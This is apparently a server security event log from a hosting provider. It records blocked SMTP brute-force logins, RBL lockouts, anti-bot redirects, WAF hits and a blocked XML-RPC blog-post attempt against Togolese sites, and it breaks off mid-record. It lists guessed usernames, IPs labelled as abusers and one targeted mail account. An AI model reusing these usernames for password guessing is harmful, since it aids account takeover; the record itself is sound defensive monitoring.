103.108.92.89 - - [20/Jun/2026:16:29:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262682&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972979 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.200.190
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/06/WhatsApp-Image-2023-06-21-at-10.25.03.jpeg 600w, http:/togodailynews.tg/wp-content/uploads/2023/06/WhatsApp-Image-2023-06-21-at-10.25.03-300x226.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:29:39 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:29:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040617&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972975 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:29:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:62034: 535 Incorrect authentication data (set_id=sendmail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:29:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20990: 535 Incorrect authentication data (set_id=super)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:16:29:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393455&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972972 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:30:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1468: 535 Incorrect authentication data (set_id=kul)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 16:31:15 +0000] info [cpaneld] 102.54.238.57 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:30:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:30:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723432&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973036 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:30:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65038: 535 Incorrect authentication data (set_id=ivanova)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:30:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211797&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973039 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:30:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:30:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29586: 535 Incorrect authentication data (set_id=bor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:30:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7116: 535 Incorrect authentication data (set_id=ra)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.178
country_id: 798544
description:
Jun 20 16:30:44 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:30:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18698: 535 Incorrect authentication data (set_id=morris)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:30:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12900: 535 Incorrect authentication data (set_id=q1)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 126.209.105.227
country_id: 1694008
description:
126.209.105.227 - - [20/Jun/2026:16:32:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804178&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemande-de-duplication-des-certificats-de-nationalite-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973146 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demande-de-duplication-des-certificats-de-nationalite-au-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.4646.1855 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:126.209.105.227


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:31:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:32:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17862: 535 Incorrect authentication data (set_id=jsoto)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:32:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:31:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49830: 535 Incorrect authentication data (set_id=rabota)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:31:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:26060: 535 Incorrect authentication data (set_id=int)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:31:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33956: 535 Incorrect authentication data (set_id=ecms)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:32:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52790: 535 Incorrect authentication data (set_id=pvb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:31:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45294: 535 Incorrect authentication data (set_id=pvb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:31:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:4836: 535 Incorrect authentication data (set_id=sud)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:32:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25792: 535 Incorrect authentication data (set_id=ajay)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:32:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59188: 535 Incorrect authentication data (set_id=compliance)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:32:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:32:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48870: 535 Incorrect authentication data (set_id=wisdom)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:32:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:33:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:28030: 535 Incorrect authentication data (set_id=user4)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:32:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53984: 535 Incorrect authentication data (set_id=faust)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:32:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42700: 535 Incorrect authentication data (set_id=tome)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:33:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:33:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44616: 535 Incorrect authentication data (set_id=gitea)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:33:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:24512: 535 Incorrect authentication data (set_id=worktrucks)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:33:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14532: 535 Incorrect authentication data (set_id=1q2w3e)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:33:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:29996: 535 Incorrect authentication data (set_id=print)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:33:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:33:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34820: 535 Incorrect authentication data (set_id=forum3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:33:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:19016: 535 Incorrect authentication data (set_id=standards)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.206
country_id: 3469034
description:
Jun 20 16:33:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:34:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36594: 535 Incorrect authentication data (set_id=tahsin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:34:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35688: 535 Incorrect authentication data (set_id=provisioning)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:34:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59650: 535 Incorrect authentication data (set_id=provisioning)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:34:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:34:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:2330: 535 Incorrect authentication data (set_id=smartphone)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:34:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17744: 535 Incorrect authentication data (set_id=yangli)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:35:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:35:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40306: 535 Incorrect authentication data (set_id=phillip)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:34:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54458: 535 Incorrect authentication data (set_id=smtpmail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:35:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58216: 535 Incorrect authentication data (set_id=checkbox)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:35:45 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:35:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:4602: 535 Incorrect authentication data (set_id=imperia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:35:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42812: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:35:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15938: 535 Incorrect authentication data (set_id=lcwidget)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:36:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:58418: 535 Incorrect authentication data (set_id=alejandro)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:35:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:35:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30372: 535 Incorrect authentication data (set_id=n01)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:36:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:36:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:36:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:65168: 535 Incorrect authentication data (set_id=vieras)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:36:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30086: 535 Incorrect authentication data (set_id=lb2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:36:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33664: 535 Incorrect authentication data (set_id=flora00)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:36:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62858: 535 Incorrect authentication data (set_id=lana)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:36:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:6018: 535 Incorrect authentication data (set_id=jmr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:36:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52666: 535 Incorrect authentication data (set_id=yamato)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.247.212.147
country_id: 1835841
domain: www.letabloid.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.letabloid.tg/tag/lct/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:38:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:38:05 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jun 20 16:40:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.86.122.0
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1522156424 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.168.201.198
country_id: 6252001
description:
Jun 20 16:43:54 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.168.201.198 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:44:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10273941&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973862 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:44:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133257&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973862 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:45:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053984&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973917 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:45:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6779034&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973917 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:16:44:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726357&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973872 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:46:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:59548: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:48:06 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60100: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:47:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:59920: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:48:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:48:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60259: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:49:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60514: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6615253cffe2705a70a4cae9d4c764ca1fa7ab50||Title:zbini240gi6nl1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (124.107.100.72) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
